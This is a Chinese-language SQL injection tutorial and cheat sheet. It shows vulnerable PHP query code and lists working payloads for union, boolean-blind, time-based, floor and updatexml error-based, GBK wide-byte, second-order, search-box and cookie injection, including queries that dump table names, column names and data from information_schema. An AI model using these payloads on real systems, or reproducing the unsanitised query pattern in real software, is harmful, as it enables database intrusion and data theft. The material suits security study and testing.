sql注入分类
数字型注入
$id =$_GET['id'];
$sql= "SELECT * FROM users WHERE id = $id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch($result);
字符型注入
$id =$_GET['id'];
$sql= "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch($result);
二.报错注入
information_schema数据库存储了schema表,tables表和columns表等等,提供了访问数据库元数据的方式。
paloads:
- 判断注入点
id =1 and 1=1
- order by 判断字段数
对于order by 没有用的网页,可用union select 1……逐步测试至页面返回正常
id =1 and 1=2 order by 3
- 判断报错点(能在页面上显示出来的)
id =1 and 1=2 union select 1,2,3
- 获取当前数据库名
id =1 and 1=2 union select 1,group_concat(user(),database()),3
- 获取表名
id =1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema ='数据库名'
- 获取字段名
id =1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='表名'
- 获取列中的数据
id =1 and 1=2 union select 1,字段名,3 from 表名
在查询中常会添加and 1=2,否则经过联合查询后会返回多行数据,没法判断是哪一列在前端显示的数据
盲注
bool注入
无任何信息输出,只有正确和不正确两种状态
payload:
- 获取数据库长度
id =1 and (select length(database() ))>8
- 获取数据库名
id=1 and (select ascii(substring(database(),1,1) ) )>99
- 获取当前数据库表名
id=1 and ascii(substring(select table_name from information_schema.tables where table_schema =‘数据库名’ limit 0,1),1,1) )>99
sleep注入(延时)
无任何报错信息,页面不管对错都是一种状态。
payload
1.判断当前数据库的长度
id =1 and sleep(if(length ( (select database()) )=10,5,0 ))
- 获取数据库名
id=1 and sleep(if( ascii(substring(database(),1,1))<116, 5, 0))
- 获取当前数据库表名
id=1 and sleep(if(ascii(substring(select table_name from information_schema.tables where table_schema =‘数据库名’ limit 0,1),1,1) )>99,5,0)
利用函数报错注入
floor注入
rand 函数与group by子句一起使用时,rand函数会计算多次,导致报错产生的注入
floor() 向下取整数
0<rand()<1
0< rand()*2 <2
floor(rand(0)*2)) 0或1
x 和 a 都是括号里的别名啦,为了少写
payload
1.获取当前数据库名称
id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.获取当前数据库表名称
id =1 and (select 1 from (select count(*), concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 获取当前数据库字段名
id =1 and (select 1 from (select count(*), concat((select (column_name) from information_schema.columns where table_schema.tables='表名' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 获取数据
id =1 and (select 1 from (select count(*), concat((select 字段名 from 表名 limit 0,1),0x3a,floor((rand(0)*2))x from information_schema.tables group by x)a)
updatexml注入
利用updatexml函数第二个参数XPath_string(XML的文档路径)的报错进行注入,格式不正确会报错。
updatexml(XML_doucument,XPath_string,new_value)
payload
1.查看数据库名称
id =1 and updatexml(1,concat(0x7e,(database())),0)
2.查看所有表的信息
id =1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)),0)
- 查看所有字段
id =1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名'and table_name ='表名' limit 0,1)),0)
- 查看列的值
id =1 and updatexml(1,concat(select 字段名 from 表名 limit 0,1),0)
extractvalue函数
宽字节注入
开发者将用户输入的数据用addlashes等函数进行过滤,默认对单引号等字符进行转义,可以避免注入。但是mysql在使用GBK编码时,如果第一个字符的ASCII码大于128(url编码大于%80),会认为前两个字符是一个汉字,会将后面转义字符吃掉,将前两个字符拼接成为一个汉字,这样既可以将SQL语句闭合,造成宽字节注入。
payload
查看数据库名称
id =1%81' and 1=2 union select 1,database(),3
用ascii编码为129字符进行注入,其url编码为%81,由于使用的是GBK编码,%81把后面的转义字符 \ (url编码为%5) 吃掉,组成了一个汉字,前面的单引号得以闭合。
二次注入
原理:第一次在参数中输入恶意数据的时候,由于存在addslashes等函数的过滤,会将字符添加 \ 进行转义,但是 \ 本身并不会存入数据库。这样,在下一次查询时,如果没有进行过滤,直接从数据库中取出并执行,这就造成了sql注入。
搜索型注入漏洞(文本框)
-
搜索 ’ 号出错90%存在搜索型注入 % 号出错95%存在漏洞
-
搜索框内输入 %’ and 1=1 and ‘%’ =’ 返回正常
%’ and 1=2 and ‘%’=’ 返回异常
或
'and 1=1 and '%'='
%' and 1=1--'
'and 1=1 and '%'='
-
工具:
post方式抓包,得到变量 -
变量放在工具里,好像工具有这种注入选择,加上变量即可
-
或手工注入
’ order by 数字 # 要闭合 'name
’ union select 1,2……
cookie注入
但是提交数据并非仅仅只有get\post这两种方式,还有一种经常被用到的方式:request(“xxx”),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:注入保护程序中只对get\post方法提交的数据进行了过滤, 未对cookie提交进行过滤,同时程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法, request(“参数名 称”)
注:本方法适用于asp程序,但对于jsp\php等语言来说,原理同样适用,稍稍贴合相应语言特性进行修改即可